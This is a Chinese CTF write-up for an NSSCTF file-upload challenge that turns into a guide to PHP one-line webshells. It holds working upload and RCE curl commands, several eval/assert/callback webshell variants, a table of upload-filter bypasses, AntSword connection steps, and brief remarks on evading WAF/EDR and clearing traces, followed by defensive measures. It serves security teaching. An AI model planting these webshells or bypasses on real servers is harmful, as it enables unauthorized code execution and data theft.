「作业管理系统」 题解:一句话木马完全指南

「作业管理系统」 题解:一句话木马完全指南

本文字数:4973  阅读时长:10分钟

访问量 0

一句话木马完全指南 —— 以「作业管理系统」靶场为样本

项目内容
样本靶场http://node4.anna.nssnode.cn:26727/(Homework management Version 1.10.0.2)
题型Web / 任意文件上传(Unrestricted File Upload)→ RCE
前置漏洞源码注释泄露默认弱口令 admin/admin
核心考点无后缀过滤上传 → 一句话木马 → 客户端接管
工具curl(手工验证)、AntSword 蚁剑(图形化接管)
结果/flag → NSSCTF{8fa70c11-8708-4685-accb-d4a8a655b99f}

注:靶场为平台临时实例,做题后会失效。复现请换自己的实例地址。


一、本题完整链路(先看它长什么样)

1.1 入口:一条注释送进来

访问首页,HTML 最底部:

html
<!--默认账户admin admin-->

admin / admin 登录成功。顺带一个细节:登录后 Cookie 是

text
user=admin;  pass=21232f297a57a5a743894a0e4a801fc3

21232f297a57a5a743894a0e4a801fc3 = md5("admin")。这套系统认证完全靠 Cookie 里的用户名和密码哈希,不校验会话——意味着即使不知道密码,只要 pass 字段能对上哈希,或者干脆构造 user=admin 都可能进后台。这是另一条备用路线。

1.2 后台:功能清单暴露攻击面

功能表单入口攻击面
主页/文件管理?op=home&folder=文件浏览、移动、复制、压缩、删除、改权限
上传文件?op=up → ?op=upload任意文件上传(本题致命点)
远程下载?op=up 下半部分 → ?op=yuploadSSRF / 任意 URL 下载 / 自动解压
创建文件/目录?op=cr → ?op=create任意路径建文件(ndir 可控,可穿越)
MySQL 备份?op=sqlb → ?op=sqlbackup可填远程 DB 地址 → 伪造 MySQL 服务端读文件
FTP 备份?op=ftpa → ?op=ftpall可填任意 FTP 地址 + 目标目录

注意:这道题真正的洞在第 2 项,但第 4、5、6 项都是出题人放的干扰项/备选路线,这在 CTF 里很常见——功能多的后台,往往只有一个是真的能用。

1.3 打通:上传一句话

「上传文件」页面的表单:

html
<FORM ENCTYPE='multipart/form-data' ACTION='/index.php?op=upload' METHOD='POST'>
  <input type='File' name='upfile[]' multiple>
  <input type='text' name='ndir' value='./'>

注意 <input type='File' ...> 后面没有任何 accept 过滤,页面上也没写"仅允许图片"。这种页面九成没做后端校验。

直接传:

bash
# 本地写一句话
printf '<?php @eval($_POST["ant"]); ?>' > _antsword.php

# 上传
curl -b cookies.txt "http://node4.anna.nssnode.cn:26727/index.php?op=upload" \
     -F "upfile[]=@_antsword.php" -F "ndir=./"

响应:

text
文件 ./_antsword.php 上传成功

验证(这一步非常关键,上传成功 ≠ 能执行):

bash
curl "http://node4.anna.nssnode.cn:26727/_antsword.php" -d 'ant=echo "A"."B";'
# 返回: AB

AB 出来,说明 .php 被当作 PHP 解析、eval 正常执行,RCE 成立。

1.4 拿 flag

bash
curl "http://node4.anna.nssnode.cn:26727/_antsword.php" -d 'ant=system("ls /;cat /flag");'
text
/flag
flag=NSSCTF{8fa70c11-8708-4685-accb-d4a8a655b99f}

二、一句话木马到底是什么

2.1 一行代码,三个角色

php
<?php @eval($_POST["ant"]); ?>
组成作用
$_POST["ant"]从 POST 请求里取名为 ant 的参数值(ant 即"连接密码")
eval()把拿到的字符串当 PHP 代码执行
@抑制错误输出,避免报错暴露路径/语法

它本身不干活,只是一个代码执行的入口。真正的功能(列目录、读文件、下载、数据库管理)全在客户端(蚁剑)里,客户端每次操作都现场生成一段 PHP 代码 POST 过去。

2.2 一次蚁剑点击发生了什么

text
蚁剑 ──POST ant=@ini_set("display_errors","0");...列目录代码...──> shell.php
                                                                  │
                                                          eval() 执行
                                                                  │
蚁剑 <──────────── 执行结果(HTML/JSON) ─────────────────────────┘

所以:

  • 服务端一句话 = 门(只需要能执行任意 PHP)
  • 客户端 = 工具箱(真正干活的部分)
  • 换客户端(菜刀/蚁剑/冰蝎/哥斯拉)不用换 shell(编码方式对得上即可)

2.3 家族对比:一句话的几种“内脏”

写法执行内容对应客户端特征
@eval($_POST['ant']);PHP 代码蚁剑/菜刀/冰蝎(明文模式)最通用,流量明文易被查杀
@assert($_POST['ant']);PHP 代码老版本菜刀PHP 7 起 assert 不再执行字符串,已基本失效
@system($_GET['c']);系统命令手工 curl / 浏览器简单直接,蚁剑连不上
@eval($_REQUEST['ant']);PHP 代码通用GET/POST/COOKIE 都收,灵活但更脏
preg_replace('/x/e', $_POST['a'], 'x');PHP 代码无(需手写)/e 修饰符,PHP 7 移除
call_user_func($_POST['f'], $_POST['a']);任意函数需手写 payload回调型,绕 eval 关键字检测
array_map($_POST['f'], [$_POST['a']]);任意函数需手写同上,更隐蔽
冰蝎/哥斯拉加密马加密的 PHP 代码对应客户端流量 AES 加密,绕流量检测

本机踩过的坑:先用 system($_GET['c']) 手工打得很爽,结果蚁剑报 404/空回显——因为蚁剑默认发的是 eval 型 POST。shell 类型必须和客户端匹配,这是新手第一个坑。


三、题型:一句话木马能"落地"的所有场景

一句话木马不是漏洞,它是**“拿到了任意代码执行"之后的接管手段**。所以分类要看"你怎么把文件写进去并且让它被执行”。

3.1 按落地方式分六大类

类型典型题面落地手段难度
A. 无限制上传(本题)后台上传点、头像上传、附件上传直接传 .php★
B. 上传绕过有黑名单/白名单/MIME/前端校验.phtml、.php5、.htaccess、%00 截断、图片马+文件包含、二次渲染、条件竞争★★~★★★
C. 文件包含(LFI)?file=xxx、?page=xxx包含日志(access.log)、/proc/self/environ、session 文件、上传的图片马、php://input(需 allow_url_include)★★
D. 任意文件写入备份/导出/压缩/编辑器保存/日志注入写进 web 目录,或写 .htaccess/.user.ini 再配图片马★★
E. 反序列化 / SQL 写文件POP 链、SELECT ... INTO OUTFILE反序列化 gadget 里调 file_put_contents;SQL 直接写马(需 secure_file_priv 允许)★★★
F. 直接代码执行eval($_GET['a'])、assert、模板注入不用文件,直接在参数里执行 file_put_contents 写马★

3.2 本题属于哪一类,以及它为什么"简单"

本题是 A 类(无限制上传)+ 后台弱口令:

  • 登录才看得到上传点 → 所以前置是弱口令(注释泄露)
  • 上传点没有任何后缀校验 → 所以没有 B 类的绕过工作
  • 服务器把 .php 当脚本解析 → 所以 C 类都不需要

三个条件全满足 = 送分题。 只要有一个不满足,难度立刻跳一档:

缺哪个会变成什么题
缺"能登录"需要找未授权访问 / 越权 / 注册后提权
缺"无过滤上传"变成 B 类上传绕过(黑名单→白名单→.htaccess→竞争…)
缺"能解析"变成 C 类文件包含 / D 类写 .htaccess / 找解析漏洞

四、辨别:怎么判断一道题该走一句话路线

4.1 看功能,找"能产生文件"的地方

打开站点,先把所有能写文件的功能列出来:

功能判断要点
上传(头像/附件/导入)有没有 accept、有没有前端 JS 校验、报错里有没有白名单提示
创建/新建文件文件名、目录参数是否可控
备份/导出/日志能否指定输出路径、压缩包能否解压到任意位置
远程下载url 是否任意、能否自动解压 zip(zip 穿越)
编辑器/在线预览能否保存、能否改扩展名
主题/插件/语言包老 CMS 常见,直接传 zip 解压

4.2 看技术栈,判断"能不能执行"

线索含义
X-Powered-By: PHP/7.3.22PHP 环境 → 优先 .php
URL 带 .php、index.php?op=同上
Server: nginx + 静态目录可访问上传目录是否可直连、是否禁 PHP
报错页泄露绝对路径给 D 类/日志注入提供落点
Set-Cookie: PHPSESSIDsession 文件包含路线可行
有 upload/、uploads/ 目录上传落点明确

4.3 看源码注释 / 备份文件(本题直接送分的地方)

位置常见内容
HTML 注释默认账户、TODO、调试路径(本题的 <!--默认账户admin admin-->)
robots.txt后台路径
www.zip / backup.zip / .git / .svn源码泄露 → 直接看过滤逻辑
phpinfo.php看 disable_functions、open_basedir、allow_url_include
版本号(本题 1.10.0.2)搜该版本历史漏洞

4.4 一句话"自检"流程(拿到上传点后按顺序走)

text
① 直接传 .php 且访问        → 成功 → 结束(本题)
② 传 .php 被拒              → 看报错:前端/后端?黑名单/白名单?
③ 换后缀 .phtml .php5 .phar → 试解析
④ 传 .htaccess 改解析规则   → 再传图片马
⑤ 传 .user.ini 设 auto_prepend_file
⑥ 图片马 + 找文件包含点
⑦ 全都不行 → 转 LFI / 反序列化 / SQL 写文件路线

五、解决方法:从"写进去"到"连得上"

5.1 通用四步法

步骤做什么判定标准
① 定位落点找一个可写 + 可访问 + 可解析的路径浏览器能直接访问到文件
② 写文件上传 / 创建 / 包含 / 反序列化返回"上传成功"或目录里能看到
③ 验证执行POST 一段无害代码(echo "A"."B";)返回 AB
④ 接管蚁剑/冰蝎添加数据能列目录

第③步是最容易被跳过的一步,也是最重要的——很多题上传成功但目录禁止执行 PHP(nginx location ~ \.php$ { deny all; }),这时候要么换落点,要么走文件包含。

5.2 各种拦截对应解法速查

拦截方式绕过手段备注
前端 JS 校验扩展名Burp 改包 / 禁用 JS最弱,改包即可
Content-Type 校验改 Content-Type: image/png只校验 MIME
黑名单(php、php3).phtml、.php5、.phar、.pht、大小写 PHP、.php.、%00 截断(PHP<5.3.4)看 Apache/Nginx 解析配置
白名单(只允许 jpg/png)图片马 + 文件包含;.htaccess 重写;.user.ini白名单比黑名单难绕
内容检测(<?php)短标签 <?=、.htaccess 里 SetHandler、base64 变形、<script language="php">(PHP<7)配合图片马
二次渲染(GD 重绘)在 PNG IDAT 块间隙插码,或用 GIF 注释段需分析渲染后字节
上传目录不可执行文件包含、../ 穿越到可执行目录、.htaccess 提升权限常见于现代框架
随机改名竞争条件(一边传一边访问)、上传后读文件名接口需要并发

5.3 蚁剑接管(本题实操 + 排错)

添加数据

字段值
URLhttp://目标/_antsword.php
连接密码ant
编码/类型默认(PHP eval,UTF-8)

常见报错对照表

报错现象原因解决
返回 404 / Not FoundURL 端口或路径错(本题就是 :26 漏了 727)检查完整 URL,浏览器先访问确认 200
返回空 / 0 字节shell 是 system 型,蚁剑发的是 eval 型换成 @eval($_POST[...])
返回源码明文文件没被当 PHP 解析换可解析落点,或走文件包含
返回 Unable to negotiate目标有 WAF / 需要 UA、Referer在蚁剑"请求信息"里补 UA/Referer
连接成功但命令无回显disable_functions 禁用 system改用蚁剑的 PHP 函数模式(scandir/file_get_contents)
上传后过一会 404容器重启,文件被清重新上传(CTF 临时实例常见)

5.4 手工验证比蚁剑更可靠的原因

蚁剑是黑盒,出错只告诉你"连接失败"。先用 curl 手打一条无害代码,能回显再上工具:

bash
# 验证 eval 是否可用
curl "http://目标/shell.php" -d 'ant=echo "A"."B";'

# 验证命令执行是否被禁
curl "http://目标/shell.php" -d 'ant=echo shell_exec("id");'

# 验证文件读取
curl "http://目标/shell.php" -d 'ant=echo file_get_contents("/flag");'

三条都过,蚁剑必然能连。有一条不过,就知道问题在哪一层——这是排查效率最高的方式。


六、CTF 与实战的差别(别把 CTF 习惯带出去)

维度CTF实战
一句话形态明文 @eval($_POST[x]) 就够必须加密流量(冰蝎/哥斯拉)、免杀变形
落地传上去能解析就赢还要考虑 WAF、EDR、日志、文件监控
权限一般 root / www 直读 flag需提权、横向
痕迹无所谓上传即留痕,需清理(授权测试范围内)
目的拿 flag拿权限 + 报告

七、防守视角(知道怎么防,才知道怎么打)

层面措施
上传校验白名单后缀 + MIME + 文件头魔数 + 重命名(随机名+安全后缀)
存储位置上传目录独立域名/独立存储,禁止脚本解析
权限上传目录 noexec、Web 进程最小权限、open_basedir
代码层禁用 eval/assert/system 等危险函数(disable_functions)
检测静态扫描 + 流量检测(明文 eval 特征)+ 文件完整性监控
运维删除安装文件、改默认口令、注释里不留凭据(本题就死在注释)

八、总结表

#环节本题做法通用方法论
1信息收集首页注释 <!--默认账户admin admin-->先扒 HTML 注释、robots、备份文件、版本号
2进入后台admin/admin 登录弱口令 / Cookie 伪造(pass=md5(pwd))
3找攻击面上传、创建文件、远程下载、DB/FTP 备份列出所有"能写文件"的功能,逐一试
4落点判断上传点无 accept、无提示 → 疑无过滤前端校验看源码,后端校验看报错
5写马直接传 _antsword.php<?php @eval($_POST["ant"]); ?>
6验证POST echo "A"."B"; → AB上传成功 ≠ 可执行,必须回显验证
7接管蚁剑 URL + 密码 antshell 类型必须匹配客户端(GET system ≠ 蚁剑)
8提权/找 flagls / → cat /flag常见位置:/flag、webroot、/tmp、环境变量
9排错蚁剑 404 = URL 端口写错先 curl 确认 200,再查客户端配置

一句话收束:一句话木马本身只有一行代码,真正决定成败的是**“能不能找到一个既能写入、又能被解析执行的位置”**——本题三个条件全送(弱口令进后台 + 无过滤上传 + 目录可执行),所以是入门题;而这三条里任何一条被堵上,就会演变成上传绕过、文件包含、反序列化等更硬的题型。